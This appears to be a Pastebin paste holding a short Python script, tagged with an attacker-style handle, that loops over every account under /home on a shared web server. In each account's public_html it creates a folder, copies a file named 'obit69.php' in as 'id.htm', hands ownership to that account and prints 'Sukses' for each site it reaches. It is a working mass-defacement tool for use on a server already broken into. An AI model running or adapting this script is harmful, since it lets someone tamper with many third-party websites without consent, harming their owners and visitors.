Advertisement
Guest User

Untitled

a guest
Mar 30th, 2020
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. #./Xi4u7
  2. import os
  3. from shutil import copyfile
  4.  
  5. newfolder = ""
  6.  
  7. for path in os.listdir("/home"):
  8. try:
  9. if os.path.isdir("/home/"+path):
  10. pwd = "/home/"+path+"/public_html"
  11. os.mkdir(pwd+"/"+newfolder)
  12. newpwd = pwd+"/"+newfolder
  13. os.system("chown "+path+":"+path+" "+newpwd)
  14. if os.path.isdir(newpwd):
  15. copyfile("obit69.php", newpwd+"/id.htm")
  16. os.system("chown "+path+":"+path+" "+newpwd+"/id.htm")
  17. if os.path.isfile(newpwd+"/id.htm"):
  18. print("Sukses - "+newpwd+"/id.htm")
  19. except Exception as err:
  20. print(err)
  21. continue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement